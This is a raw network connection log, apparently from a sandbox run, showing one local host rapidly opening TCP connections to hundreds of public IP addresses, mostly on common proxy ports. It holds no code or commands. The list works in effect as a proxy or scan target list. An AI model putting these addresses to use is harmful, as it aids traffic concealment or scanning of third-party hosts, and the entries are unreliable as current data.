Feb 23, 2024 14:28:21.912550926 CET	49754	8080	192.168.2.8	46.209.207.150
Feb 23, 2024 14:28:21.913935900 CET	49755	8080	192.168.2.8	203.85.120.69
Feb 23, 2024 14:28:21.915635109 CET	49756	37106	192.168.2.8	198.12.253.1
Feb 23, 2024 14:28:21.917304039 CET	49757	29075	192.168.2.8	72.10.164.178
Feb 23, 2024 14:28:21.918817997 CET	49758	32650	192.168.2.8	196.202.210.73
Feb 23, 2024 14:28:21.920203924 CET	49759	41354	192.168.2.8	128.199.104.190
Feb 23, 2024 14:28:21.921545029 CET	49760	8080	192.168.2.8	81.44.83.70
Feb 23, 2024 14:28:21.923041105 CET	49761	4145	192.168.2.8	68.1.210.189
Feb 23, 2024 14:28:21.924897909 CET	49762	55637	192.168.2.8	51.91.13.215
Feb 23, 2024 14:28:21.927536964 CET	49763	8888	192.168.2.8	47.74.152.29
Feb 23, 2024 14:28:21.927691936 CET	49764	3128	192.168.2.8	134.209.29.120
Feb 23, 2024 14:28:21.929546118 CET	49765	80	192.168.2.8	51.250.13.88
Feb 23, 2024 14:28:21.931056023 CET	49766	1080	192.168.2.8	5.201.140.196
Feb 23, 2024 14:28:21.932559967 CET	49767	80	192.168.2.8	172.67.181.11
Feb 23, 2024 14:28:21.933851957 CET	49768	53299	192.168.2.8	178.128.82.105
Feb 23, 2024 14:28:21.935311079 CET	49769	3128	192.168.2.8	189.90.255.208
Feb 23, 2024 14:28:21.936604977 CET	49770	3128	192.168.2.8	84.17.51.235
Feb 23, 2024 14:28:21.938040972 CET	49771	8090	192.168.2.8	103.158.253.187
Feb 23, 2024 14:28:21.939605951 CET	49772	80	192.168.2.8	153.92.214.224
Feb 23, 2024 14:28:21.941517115 CET	49773	999	192.168.2.8	200.39.139.65
Feb 23, 2024 14:28:21.943003893 CET	49774	8080	192.168.2.8	186.103.130.94
Feb 23, 2024 14:28:21.944727898 CET	49775	3128	192.168.2.8	34.29.41.58
Feb 23, 2024 14:28:21.946841002 CET	49776	3128	192.168.2.8	193.107.104.57
Feb 23, 2024 14:28:21.947678089 CET	49777	37172	192.168.2.8	167.86.69.142
Feb 23, 2024 14:28:21.949312925 CET	49778	3128	192.168.2.8	156.67.172.185
Feb 23, 2024 14:28:21.951076984 CET	49779	80	192.168.2.8	217.182.210.152
Feb 23, 2024 14:28:21.954237938 CET	49780	80	192.168.2.8	167.99.124.118
Feb 23, 2024 14:28:21.956305027 CET	49781	52119	192.168.2.8	192.163.252.85
Feb 23, 2024 14:28:21.957906961 CET	49782	3129	192.168.2.8	116.130.233.22
Feb 23, 2024 14:28:21.959866047 CET	49783	3503	192.168.2.8	23.225.72.125
Feb 23, 2024 14:28:21.961473942 CET	49784	8080	192.168.2.8	185.110.190.141
Feb 23, 2024 14:28:21.963800907 CET	49785	4145	192.168.2.8	103.140.35.11
Feb 23, 2024 14:28:21.965513945 CET	49786	80	192.168.2.8	188.119.99.210
Feb 23, 2024 14:28:21.967447996 CET	49787	1080	192.168.2.8	202.78.160.118
Feb 23, 2024 14:28:21.969532967 CET	49788	62640	192.168.2.8	15.235.187.227
Feb 23, 2024 14:28:21.971463919 CET	49789	51212	192.168.2.8	194.163.129.179
Feb 23, 2024 14:28:21.973458052 CET	49790	8082	192.168.2.8	120.28.139.143
Feb 23, 2024 14:28:21.975099087 CET	49791	18080	192.168.2.8	60.188.102.225
Feb 23, 2024 14:28:21.980283976 CET	49792	80	192.168.2.8	13.229.47.109
Feb 23, 2024 14:28:21.981915951 CET	49793	80	192.168.2.8	192.236.160.186
Feb 23, 2024 14:28:21.984338999 CET	49794	8080	192.168.2.8	85.238.74.91
Feb 23, 2024 14:28:21.986208916 CET	49795	80	192.168.2.8	89.43.10.141
Feb 23, 2024 14:28:21.996512890 CET	80	49748	104.45.128.122	192.168.2.8
Feb 23, 2024 14:28:21.996669054 CET	49748	80	192.168.2.8	104.45.128.122
Feb 23, 2024 14:28:22.002285957 CET	49796	57230	192.168.2.8	103.28.86.241
Feb 23, 2024 14:28:22.003993034 CET	49748	80	192.168.2.8	104.45.128.122
Feb 23, 2024 14:28:22.005316019 CET	49797	40927	192.168.2.8	213.136.78.200
Feb 23, 2024 14:28:22.007951021 CET	49798	16379	192.168.2.8	51.158.105.107
Feb 23, 2024 14:28:22.010397911 CET	4145	49761	68.1.210.189	192.168.2.8
Feb 23, 2024 14:28:22.010461092 CET	49761	4145	192.168.2.8	68.1.210.189
Feb 23, 2024 14:28:22.012408972 CET	29075	49757	72.10.164.178	192.168.2.8
Feb 23, 2024 14:28:22.017565966 CET	80	49744	96.113.158.126	192.168.2.8
Feb 23, 2024 14:28:22.020373106 CET	80	49767	172.67.181.11	192.168.2.8
Feb 23, 2024 14:28:22.020528078 CET	49767	80	192.168.2.8	172.67.181.11
Feb 23, 2024 14:28:22.023421049 CET	49767	80	192.168.2.8	172.67.181.11
Feb 23, 2024 14:28:22.024209976 CET	49799	3409	192.168.2.8	216.10.242.18
Feb 23, 2024 14:28:22.026411057 CET	49800	8089	192.168.2.8	125.87.86.119
Feb 23, 2024 14:28:22.027808905 CET	49801	80	192.168.2.8	13.209.156.241
Feb 23, 2024 14:28:22.029354095 CET	49802	3080	192.168.2.8	5.9.98.142
Feb 23, 2024 14:28:22.031331062 CET	49803	63718	192.168.2.8	92.205.105.134
Feb 23, 2024 14:28:22.032885075 CET	49804	4153	192.168.2.8	103.94.133.93
Feb 23, 2024 14:28:22.034622908 CET	49805	9735	192.168.2.8	216.10.242.18
Feb 23, 2024 14:28:22.036587000 CET	49806	12000	192.168.2.8	217.182.153.29
Feb 23, 2024 14:28:22.038103104 CET	49807	80	192.168.2.8	207.180.250.238
Feb 23, 2024 14:28:22.039169073 CET	49808	12196	192.168.2.8	31.200.242.201
Feb 23, 2024 14:28:22.042218924 CET	49809	1981	192.168.2.8	165.16.27.109
Feb 23, 2024 14:28:22.043931961 CET	49810	8080	192.168.2.8	202.137.144.228
Feb 23, 2024 14:28:22.045942068 CET	49811	3865	192.168.2.8	51.210.45.148
Feb 23, 2024 14:28:22.047821999 CET	49812	4153	192.168.2.8	103.78.54.10
Feb 23, 2024 14:28:22.048643112 CET	4145	49724	94.40.127.166	192.168.2.8
Feb 23, 2024 14:28:22.048723936 CET	49724	4145	192.168.2.8	94.40.127.166
Feb 23, 2024 14:28:22.048996925 CET	49724	4145	192.168.2.8	94.40.127.166
Feb 23, 2024 14:28:22.049571037 CET	49813	34644	192.168.2.8	50.63.12.33
Feb 23, 2024 14:28:22.051076889 CET	80	49772	153.92.214.224	192.168.2.8
Feb 23, 2024 14:28:22.051176071 CET	49772	80	192.168.2.8	153.92.214.224
Feb 23, 2024 14:28:22.051369905 CET	49772	80	192.168.2.8	153.92.214.224
Feb 23, 2024 14:28:22.052706003 CET	49814	4145	192.168.2.8	117.20.56.203
Feb 23, 2024 14:28:22.053638935 CET	49815	61725	192.168.2.8	104.248.158.78
Feb 23, 2024 14:28:22.055035114 CET	49816	80	192.168.2.8	104.16.105.146
Feb 23, 2024 14:28:22.055197954 CET	8083	49730	196.20.125.129	192.168.2.8
Feb 23, 2024 14:28:22.055341005 CET	49730	8083	192.168.2.8	196.20.125.129
Feb 23, 2024 14:28:22.056237936 CET	49730	8083	192.168.2.8	196.20.125.129
Feb 23, 2024 14:28:22.056965113 CET	49817	42560	192.168.2.8	66.29.128.244
Feb 23, 2024 14:28:22.058134079 CET	49818	4145	192.168.2.8	182.52.83.112
Feb 23, 2024 14:28:22.059494972 CET	49819	49042	192.168.2.8	91.134.140.160
Feb 23, 2024 14:28:22.061228991 CET	49820	5022	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:22.061778069 CET	3128	49775	34.29.41.58	192.168.2.8
Feb 23, 2024 14:28:22.062844992 CET	49821	48057	192.168.2.8	75.119.145.169
Feb 23, 2024 14:28:22.063888073 CET	49822	3128	192.168.2.8	132.145.61.202
Feb 23, 2024 14:28:22.065403938 CET	49823	39593	192.168.2.8	96.36.50.99
Feb 23, 2024 14:28:22.067245007 CET	49824	8888	192.168.2.8	35.199.90.225
Feb 23, 2024 14:28:22.068768024 CET	49825	3889	192.168.2.8	1.224.3.122
Feb 23, 2024 14:28:22.070467949 CET	49826	26719	192.168.2.8	162.210.192.136
Feb 23, 2024 14:28:22.071955919 CET	49827	3128	192.168.2.8	83.149.249.81
Feb 23, 2024 14:28:22.073502064 CET	49828	51778	192.168.2.8	192.169.226.96
Feb 23, 2024 14:28:22.075086117 CET	49829	1080	192.168.2.8	177.8.170.122
Feb 23, 2024 14:28:22.076577902 CET	49830	8080	192.168.2.8	183.89.14.229
Feb 23, 2024 14:28:22.078202963 CET	49831	5678	192.168.2.8	103.217.249.129
Feb 23, 2024 14:28:22.079134941 CET	8080	49743	82.135.123.155	192.168.2.8
Feb 23, 2024 14:28:22.079227924 CET	49743	8080	192.168.2.8	82.135.123.155
Feb 23, 2024 14:28:22.079880953 CET	49743	8080	192.168.2.8	82.135.123.155
Feb 23, 2024 14:28:22.080153942 CET	49832	62842	192.168.2.8	146.190.84.209
Feb 23, 2024 14:28:22.081248045 CET	49833	17270	192.168.2.8	92.204.136.149
Feb 23, 2024 14:28:22.082814932 CET	49834	62181	192.168.2.8	145.239.2.102
Feb 23, 2024 14:28:22.084124088 CET	49835	25369	192.168.2.8	208.87.131.151
Feb 23, 2024 14:28:22.085213900 CET	49836	34006	192.168.2.8	147.45.40.89
Feb 23, 2024 14:28:22.085839033 CET	3128	49764	134.209.29.120	192.168.2.8
Feb 23, 2024 14:28:22.085872889 CET	49837	3125	192.168.2.8	103.1.50.51
Feb 23, 2024 14:28:22.086210966 CET	49764	3128	192.168.2.8	134.209.29.120
Feb 23, 2024 14:28:22.086977959 CET	49764	3128	192.168.2.8	134.209.29.120
Feb 23, 2024 14:28:22.087002993 CET	49838	8089	192.168.2.8	103.143.8.126
Feb 23, 2024 14:28:22.089047909 CET	49839	8000	192.168.2.8	159.65.217.197
Feb 23, 2024 14:28:22.089212894 CET	49840	80	192.168.2.8	104.27.122.6
Feb 23, 2024 14:28:22.090413094 CET	49841	3128	192.168.2.8	84.17.35.129
Feb 23, 2024 14:28:22.091439962 CET	49842	60781	192.168.2.8	132.148.129.254
Feb 23, 2024 14:28:22.092803955 CET	49843	3128	192.168.2.8	51.15.125.244
Feb 23, 2024 14:28:22.094080925 CET	49844	8080	192.168.2.8	107.178.9.186
Feb 23, 2024 14:28:22.095860958 CET	49846	8080	192.168.2.8	103.239.253.66
Feb 23, 2024 14:28:22.096417904 CET	49845	8080	192.168.2.8	103.147.246.131
Feb 23, 2024 14:28:22.097263098 CET	49847	8080	192.168.2.8	103.188.168.66
Feb 23, 2024 14:28:22.098001957 CET	49848	80	192.168.2.8	162.240.75.37
Feb 23, 2024 14:28:22.099015951 CET	49849	80	192.168.2.8	172.67.181.12
Feb 23, 2024 14:28:22.099375010 CET	49850	80	192.168.2.8	43.231.22.229
Feb 23, 2024 14:28:22.100688934 CET	49851	3128	192.168.2.8	193.239.86.247
Feb 23, 2024 14:28:22.102224112 CET	49852	1080	192.168.2.8	45.185.236.254
Feb 23, 2024 14:28:22.103156090 CET	49853	14681	192.168.2.8	67.43.227.227
Feb 23, 2024 14:28:22.104841948 CET	49854	4145	192.168.2.8	197.234.13.5
Feb 23, 2024 14:28:22.105453014 CET	49855	1981	192.168.2.8	154.236.179.229
Feb 23, 2024 14:28:22.106698990 CET	49856	80	192.168.2.8	52.41.249.10
Feb 23, 2024 14:28:22.108042002 CET	49857	1731	192.168.2.8	72.10.164.178
Feb 23, 2024 14:28:22.109550953 CET	49858	80	192.168.2.8	210.209.236.26
Feb 23, 2024 14:28:22.110435963 CET	49859	80	192.168.2.8	62.99.138.162
Feb 23, 2024 14:28:22.111243010 CET	80	49767	172.67.181.11	192.168.2.8
Feb 23, 2024 14:28:22.111267090 CET	80	49767	172.67.181.11	192.168.2.8
Feb 23, 2024 14:28:22.111385107 CET	80	49767	172.67.181.11	192.168.2.8
Feb 23, 2024 14:28:22.111433983 CET	49767	80	192.168.2.8	172.67.181.11
Feb 23, 2024 14:28:22.111840010 CET	49860	5032	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:22.113281012 CET	49861	3128	192.168.2.8	103.113.71.230
Feb 23, 2024 14:28:22.115092993 CET	49862	80	192.168.2.8	138.68.235.51
Feb 23, 2024 14:28:22.116957903 CET	49863	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:22.117263079 CET	49864	80	192.168.2.8	50.170.90.24
Feb 23, 2024 14:28:22.118809938 CET	49865	10121	192.168.2.8	72.10.164.178
Feb 23, 2024 14:28:22.120718002 CET	49866	80	192.168.2.8	16.170.1.8
Feb 23, 2024 14:28:22.122533083 CET	49867	23500	192.168.2.8	185.189.199.75
Feb 23, 2024 14:28:22.123378038 CET	49767	80	192.168.2.8	172.67.181.11
Feb 23, 2024 14:28:22.123539925 CET	49868	3128	192.168.2.8	138.68.60.8
Feb 23, 2024 14:28:22.124722958 CET	49869	46249	192.168.2.8	167.172.109.12
Feb 23, 2024 14:28:22.126147032 CET	49870	33054	192.168.2.8	147.45.40.89
Feb 23, 2024 14:28:22.127935886 CET	1080	49787	202.78.160.118	192.168.2.8
Feb 23, 2024 14:28:22.128081083 CET	49871	80	192.168.2.8	59.6.26.121
Feb 23, 2024 14:28:22.129254103 CET	49872	8080	192.168.2.8	177.229.210.50
Feb 23, 2024 14:28:22.130979061 CET	49873	36111	192.168.2.8	148.72.23.56
Feb 23, 2024 14:28:22.132692099 CET	49874	80	192.168.2.8	141.148.63.29
Feb 23, 2024 14:28:22.134392977 CET	49875	5678	192.168.2.8	217.196.21.170
Feb 23, 2024 14:28:22.135672092 CET	49876	80	192.168.2.8	34.81.72.31
Feb 23, 2024 14:28:22.137089014 CET	49877	60484	192.168.2.8	188.164.193.178
Feb 23, 2024 14:28:22.138279915 CET	49878	23500	192.168.2.8	181.209.82.154
Feb 23, 2024 14:28:22.139777899 CET	49879	9999	192.168.2.8	1.1.104.70
Feb 23, 2024 14:28:22.142138004 CET	49880	80	192.168.2.8	167.99.131.11
Feb 23, 2024 14:28:22.142314911 CET	49881	8089	192.168.2.8	123.182.58.64
Feb 23, 2024 14:28:22.142605066 CET	80	49816	104.16.105.146	192.168.2.8
Feb 23, 2024 14:28:22.142715931 CET	49816	80	192.168.2.8	104.16.105.146
Feb 23, 2024 14:28:22.143544912 CET	49816	80	192.168.2.8	104.16.105.146
Feb 23, 2024 14:28:22.143670082 CET	3128	49776	193.107.104.57	192.168.2.8
Feb 23, 2024 14:28:22.143704891 CET	49882	3128	192.168.2.8	155.50.208.37
Feb 23, 2024 14:28:22.144416094 CET	80	49722	103.75.117.79	192.168.2.8
Feb 23, 2024 14:28:22.145133018 CET	49883	8443	192.168.2.8	101.231.64.89
Feb 23, 2024 14:28:22.145950079 CET	49884	6060	192.168.2.8	41.57.25.129
Feb 23, 2024 14:28:22.147468090 CET	49885	1080	192.168.2.8	185.157.47.236
Feb 23, 2024 14:28:22.148936987 CET	3128	49740	79.132.192.13	192.168.2.8
Feb 23, 2024 14:28:22.151287079 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:22.152614117 CET	49887	4145	192.168.2.8	98.188.47.132
Feb 23, 2024 14:28:22.153892040 CET	49888	12005	192.168.2.8	148.66.130.53
Feb 23, 2024 14:28:22.154886961 CET	49889	4153	192.168.2.8	93.90.212.2
Feb 23, 2024 14:28:22.156666994 CET	49890	8080	192.168.2.8	103.209.68.197
Feb 23, 2024 14:28:22.158157110 CET	49891	3128	192.168.2.8	160.248.184.201
Feb 23, 2024 14:28:22.159385920 CET	49892	80	192.168.2.8	50.204.219.227
Feb 23, 2024 14:28:22.160358906 CET	49893	80	192.168.2.8	103.197.71.7
Feb 23, 2024 14:28:22.161533117 CET	49894	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:22.164699078 CET	26719	49826	162.210.192.136	192.168.2.8
Feb 23, 2024 14:28:22.165359974 CET	49895	80	192.168.2.8	172.67.187.242
Feb 23, 2024 14:28:22.165400028 CET	49896	25007	192.168.2.8	154.12.253.232
Feb 23, 2024 14:28:22.166399002 CET	49897	999	192.168.2.8	201.182.251.140
Feb 23, 2024 14:28:22.167790890 CET	49898	80	192.168.2.8	50.169.118.211
Feb 23, 2024 14:28:22.168421030 CET	49899	3126	192.168.2.8	36.95.155.74
Feb 23, 2024 14:28:22.169506073 CET	49900	45698	192.168.2.8	5.183.179.117
Feb 23, 2024 14:28:22.170581102 CET	49901	80	192.168.2.8	188.114.99.37
Feb 23, 2024 14:28:22.171367884 CET	49902	41890	192.168.2.8	176.37.21.46
Feb 23, 2024 14:28:22.172811031 CET	49903	8080	192.168.2.8	182.23.35.242
Feb 23, 2024 14:28:22.173719883 CET	49904	34090	192.168.2.8	195.30.84.218
Feb 23, 2024 14:28:22.175363064 CET	49905	8080	192.168.2.8	139.5.73.71
Feb 23, 2024 14:28:22.175479889 CET	49906	32650	192.168.2.8	41.217.220.214
Feb 23, 2024 14:28:22.176032066 CET	50	49734	8.213.129.15	192.168.2.8
Feb 23, 2024 14:28:22.176199913 CET	49734	50	192.168.2.8	8.213.129.15
Feb 23, 2024 14:28:22.176455975 CET	49734	50	192.168.2.8	8.213.129.15
Feb 23, 2024 14:28:22.176536083 CET	80	49840	104.27.122.6	192.168.2.8
Feb 23, 2024 14:28:22.176588058 CET	49840	80	192.168.2.8	104.27.122.6
Feb 23, 2024 14:28:22.176618099 CET	49907	8080	192.168.2.8	195.34.91.67
Feb 23, 2024 14:28:22.176934004 CET	49840	80	192.168.2.8	104.27.122.6
Feb 23, 2024 14:28:22.177469969 CET	8000	49839	159.65.217.197	192.168.2.8
Feb 23, 2024 14:28:22.177545071 CET	3128	49841	84.17.35.129	192.168.2.8
Feb 23, 2024 14:28:22.178144932 CET	49908	3128	192.168.2.8	103.13.120.116
Feb 23, 2024 14:28:22.179637909 CET	49909	2080	192.168.2.8	222.241.144.17
Feb 23, 2024 14:28:22.179815054 CET	49910	4145	192.168.2.8	1.2.221.134
Feb 23, 2024 14:28:22.181467056 CET	49911	12940	192.168.2.8	107.180.89.55
Feb 23, 2024 14:28:22.182451010 CET	49912	14366	192.168.2.8	185.18.198.253
Feb 23, 2024 14:28:22.183535099 CET	49913	80	192.168.2.8	159.65.184.81
Feb 23, 2024 14:28:22.186425924 CET	80	49849	172.67.181.12	192.168.2.8
Feb 23, 2024 14:28:22.186513901 CET	49849	80	192.168.2.8	172.67.181.12
Feb 23, 2024 14:28:22.189860106 CET	52119	49781	192.163.252.85	192.168.2.8
Feb 23, 2024 14:28:22.190431118 CET	49849	80	192.168.2.8	172.67.181.12
Feb 23, 2024 14:28:22.190759897 CET	49914	8080	192.168.2.8	196.3.99.162
Feb 23, 2024 14:28:22.191900015 CET	49915	6868	192.168.2.8	194.44.36.114
Feb 23, 2024 14:28:22.192598104 CET	8080	49723	115.96.208.124	192.168.2.8
Feb 23, 2024 14:28:22.192691088 CET	49723	8080	192.168.2.8	115.96.208.124
Feb 23, 2024 14:28:22.193186998 CET	49916	11087	192.168.2.8	115.144.163.193
Feb 23, 2024 14:28:22.193198919 CET	49723	8080	192.168.2.8	115.96.208.124
Feb 23, 2024 14:28:22.194226980 CET	49917	80	192.168.2.8	50.175.212.74
Feb 23, 2024 14:28:22.195204020 CET	49918	15463	192.168.2.8	103.121.90.216
Feb 23, 2024 14:28:22.195643902 CET	34644	49813	50.63.12.33	192.168.2.8
Feb 23, 2024 14:28:22.195749044 CET	49813	34644	192.168.2.8	50.63.12.33
Feb 23, 2024 14:28:22.196054935 CET	49813	34644	192.168.2.8	50.63.12.33
Feb 23, 2024 14:28:22.196530104 CET	49919	41041	192.168.2.8	46.182.6.69
Feb 23, 2024 14:28:22.197900057 CET	49920	8080	192.168.2.8	103.169.130.36
Feb 23, 2024 14:28:22.198020935 CET	14681	49853	67.43.227.227	192.168.2.8
Feb 23, 2024 14:28:22.199080944 CET	49921	19713	192.168.2.8	72.10.160.90
Feb 23, 2024 14:28:22.200033903 CET	49922	3129	192.168.2.8	20.219.177.85
Feb 23, 2024 14:28:22.201237917 CET	49923	8889	192.168.2.8	8.213.128.6
Feb 23, 2024 14:28:22.202338934 CET	49924	6432	192.168.2.8	209.145.56.51
Feb 23, 2024 14:28:22.202827930 CET	1731	49857	72.10.164.178	192.168.2.8
Feb 23, 2024 14:28:22.203453064 CET	49925	80	192.168.2.8	5.189.146.57
Feb 23, 2024 14:28:22.203767061 CET	3080	49802	5.9.98.142	192.168.2.8
Feb 23, 2024 14:28:22.203986883 CET	49802	3080	192.168.2.8	5.9.98.142
Feb 23, 2024 14:28:22.204389095 CET	49802	3080	192.168.2.8	5.9.98.142
Feb 23, 2024 14:28:22.205574036 CET	49926	80	192.168.2.8	50.222.245.46
Feb 23, 2024 14:28:22.206475019 CET	49927	3127	192.168.2.8	103.153.35.85
Feb 23, 2024 14:28:22.207499981 CET	49928	5555	192.168.2.8	190.112.39.241
Feb 23, 2024 14:28:22.208499908 CET	49929	27237	192.168.2.8	167.99.123.158
Feb 23, 2024 14:28:22.209491014 CET	49930	8080	192.168.2.8	190.57.245.250
Feb 23, 2024 14:28:22.211132050 CET	80	49767	172.67.181.11	192.168.2.8
Feb 23, 2024 14:28:22.211292982 CET	49931	16379	192.168.2.8	51.158.105.203
Feb 23, 2024 14:28:22.212574959 CET	49932	4145	192.168.2.8	174.75.211.222
Feb 23, 2024 14:28:22.213884115 CET	49933	7497	192.168.2.8	68.183.88.14
Feb 23, 2024 14:28:22.213900089 CET	10121	49865	72.10.164.178	192.168.2.8
Feb 23, 2024 14:28:22.214843035 CET	49934	51526	192.168.2.8	107.180.101.226
Feb 23, 2024 14:28:22.215992928 CET	49935	80	192.168.2.8	190.186.237.103
Feb 23, 2024 14:28:22.221337080 CET	49936	999	192.168.2.8	190.69.157.213
Feb 23, 2024 14:28:22.223548889 CET	3128	49822	132.145.61.202	192.168.2.8
Feb 23, 2024 14:28:22.227144003 CET	80	49864	50.170.90.24	192.168.2.8
Feb 23, 2024 14:28:22.227756023 CET	1080	49766	5.201.140.196	192.168.2.8
Feb 23, 2024 14:28:22.230077982 CET	48057	49821	75.119.145.169	192.168.2.8
Feb 23, 2024 14:28:22.231035948 CET	80	49816	104.16.105.146	192.168.2.8
Feb 23, 2024 14:28:22.231139898 CET	80	49816	104.16.105.146	192.168.2.8
Feb 23, 2024 14:28:22.231846094 CET	80	49816	104.16.105.146	192.168.2.8
Feb 23, 2024 14:28:22.231906891 CET	49816	80	192.168.2.8	104.16.105.146
Feb 23, 2024 14:28:22.235593081 CET	49816	80	192.168.2.8	104.16.105.146
Feb 23, 2024 14:28:22.236485004 CET	49937	8080	192.168.2.8	200.108.234.105
Feb 23, 2024 14:28:22.238029957 CET	49938	32381	192.168.2.8	79.137.204.161
Feb 23, 2024 14:28:22.239361048 CET	49939	2020	192.168.2.8	8.213.128.6
Feb 23, 2024 14:28:22.240051031 CET	49940	80	192.168.2.8	109.195.98.207
Feb 23, 2024 14:28:22.240127087 CET	3786	49751	148.72.212.212	192.168.2.8
Feb 23, 2024 14:28:22.240537882 CET	4145	49887	98.188.47.132	192.168.2.8
Feb 23, 2024 14:28:22.240674019 CET	49887	4145	192.168.2.8	98.188.47.132
Feb 23, 2024 14:28:22.241132021 CET	49941	4145	192.168.2.8	174.77.111.196
Feb 23, 2024 14:28:22.243805885 CET	4145	49724	94.40.127.166	192.168.2.8
Feb 23, 2024 14:28:22.243910074 CET	4145	49724	94.40.127.166	192.168.2.8
Feb 23, 2024 14:28:22.243968964 CET	49724	4145	192.168.2.8	94.40.127.166
Feb 23, 2024 14:28:22.244337082 CET	49942	5678	192.168.2.8	99.26.234.177
Feb 23, 2024 14:28:22.244775057 CET	3128	49764	134.209.29.120	192.168.2.8
Feb 23, 2024 14:28:22.245003939 CET	49724	4145	192.168.2.8	94.40.127.166
Feb 23, 2024 14:28:22.245647907 CET	49943	4145	192.168.2.8	94.40.127.166
Feb 23, 2024 14:28:22.246167898 CET	8083	49730	196.20.125.129	192.168.2.8
Feb 23, 2024 14:28:22.246706009 CET	49944	999	192.168.2.8	154.212.7.243
Feb 23, 2024 14:28:22.247543097 CET	49945	51167	192.168.2.8	207.180.236.140
Feb 23, 2024 14:28:22.247733116 CET	3128	49764	134.209.29.120	192.168.2.8
Feb 23, 2024 14:28:22.248009920 CET	3128	49764	134.209.29.120	192.168.2.8
Feb 23, 2024 14:28:22.248058081 CET	49764	3128	192.168.2.8	134.209.29.120
Feb 23, 2024 14:28:22.248210907 CET	49764	3128	192.168.2.8	134.209.29.120
Feb 23, 2024 14:28:22.248789072 CET	49946	32650	192.168.2.8	125.25.40.41
Feb 23, 2024 14:28:22.251759052 CET	49948	32244	192.168.2.8	92.246.139.113
Feb 23, 2024 14:28:22.251817942 CET	49947	80	192.168.2.8	104.25.58.39
Feb 23, 2024 14:28:22.253165960 CET	49949	8080	192.168.2.8	45.236.36.19
Feb 23, 2024 14:28:22.253237963 CET	80	49895	172.67.187.242	192.168.2.8
Feb 23, 2024 14:28:22.253309011 CET	49895	80	192.168.2.8	172.67.187.242
Feb 23, 2024 14:28:22.253715038 CET	49895	80	192.168.2.8	172.67.187.242
Feb 23, 2024 14:28:22.254199982 CET	49950	4145	192.168.2.8	197.157.254.162
Feb 23, 2024 14:28:22.256561041 CET	8888	49763	47.74.152.29	192.168.2.8
Feb 23, 2024 14:28:22.256635904 CET	49763	8888	192.168.2.8	47.74.152.29
Feb 23, 2024 14:28:22.257006884 CET	49763	8888	192.168.2.8	47.74.152.29
Feb 23, 2024 14:28:22.258069038 CET	49951	22942	192.168.2.8	92.204.135.37
Feb 23, 2024 14:28:22.258265972 CET	80	49901	188.114.99.37	192.168.2.8
Feb 23, 2024 14:28:22.258357048 CET	49901	80	192.168.2.8	188.114.99.37
Feb 23, 2024 14:28:22.258980989 CET	49901	80	192.168.2.8	188.114.99.37
Feb 23, 2024 14:28:22.259485960 CET	49952	80	192.168.2.8	104.20.205.191
Feb 23, 2024 14:28:22.260484934 CET	49953	4145	192.168.2.8	91.92.80.199
Feb 23, 2024 14:28:22.262082100 CET	49954	9002	192.168.2.8	221.6.139.190
Feb 23, 2024 14:28:22.262433052 CET	49955	80	192.168.2.8	172.67.69.9
Feb 23, 2024 14:28:22.263178110 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:22.263263941 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:22.263642073 CET	49956	80	192.168.2.8	194.140.198.23
Feb 23, 2024 14:28:22.263967991 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:22.264377117 CET	80	49840	104.27.122.6	192.168.2.8
Feb 23, 2024 14:28:22.264399052 CET	80	49840	104.27.122.6	192.168.2.8
Feb 23, 2024 14:28:22.264839888 CET	49840	80	192.168.2.8	104.27.122.6
Feb 23, 2024 14:28:22.265134096 CET	49957	999	192.168.2.8	191.97.19.66
Feb 23, 2024 14:28:22.265172005 CET	80	49840	104.27.122.6	192.168.2.8
Feb 23, 2024 14:28:22.265222073 CET	49840	80	192.168.2.8	104.27.122.6
Feb 23, 2024 14:28:22.266199112 CET	8080	49743	82.135.123.155	192.168.2.8
Feb 23, 2024 14:28:22.266295910 CET	53299	49768	178.128.82.105	192.168.2.8
Feb 23, 2024 14:28:22.266347885 CET	49768	53299	192.168.2.8	178.128.82.105
Feb 23, 2024 14:28:22.266588926 CET	49768	53299	192.168.2.8	178.128.82.105
Feb 23, 2024 14:28:22.267462015 CET	49958	8080	192.168.2.8	24.192.227.234
Feb 23, 2024 14:28:22.268435001 CET	49959	51181	192.168.2.8	162.240.147.48
Feb 23, 2024 14:28:22.269210100 CET	49960	3128	192.168.2.8	185.104.63.55
Feb 23, 2024 14:28:22.270123005 CET	49961	44672	192.168.2.8	173.212.237.43
Feb 23, 2024 14:28:22.270322084 CET	5022	49820	45.11.95.165	192.168.2.8
Feb 23, 2024 14:28:22.270428896 CET	49820	5022	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:22.270791054 CET	49820	5022	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:22.272079945 CET	80	49898	50.169.118.211	192.168.2.8
Feb 23, 2024 14:28:22.272594929 CET	49962	15371	192.168.2.8	161.97.147.193
Feb 23, 2024 14:28:22.274106026 CET	49963	8080	192.168.2.8	103.178.2.72
Feb 23, 2024 14:28:22.275888920 CET	49964	7491	192.168.2.8	67.43.228.253
Feb 23, 2024 14:28:22.276966095 CET	49965	48744	192.168.2.8	182.160.127.53
Feb 23, 2024 14:28:22.277108908 CET	25007	49896	154.12.253.232	192.168.2.8
Feb 23, 2024 14:28:22.277179956 CET	49896	25007	192.168.2.8	154.12.253.232
Feb 23, 2024 14:28:22.277415991 CET	49896	25007	192.168.2.8	154.12.253.232
Feb 23, 2024 14:28:22.277730942 CET	80	49849	172.67.181.12	192.168.2.8
Feb 23, 2024 14:28:22.277812958 CET	80	49849	172.67.181.12	192.168.2.8
Feb 23, 2024 14:28:22.278244019 CET	3128	49868	138.68.60.8	192.168.2.8
Feb 23, 2024 14:28:22.278331041 CET	49849	80	192.168.2.8	172.67.181.12
Feb 23, 2024 14:28:22.278353930 CET	49868	3128	192.168.2.8	138.68.60.8
Feb 23, 2024 14:28:22.278680086 CET	80	49849	172.67.181.12	192.168.2.8
Feb 23, 2024 14:28:22.278738022 CET	49849	80	192.168.2.8	172.67.181.12
Feb 23, 2024 14:28:22.278994083 CET	49966	3128	192.168.2.8	51.178.165.36
Feb 23, 2024 14:28:22.279169083 CET	49868	3128	192.168.2.8	138.68.60.8
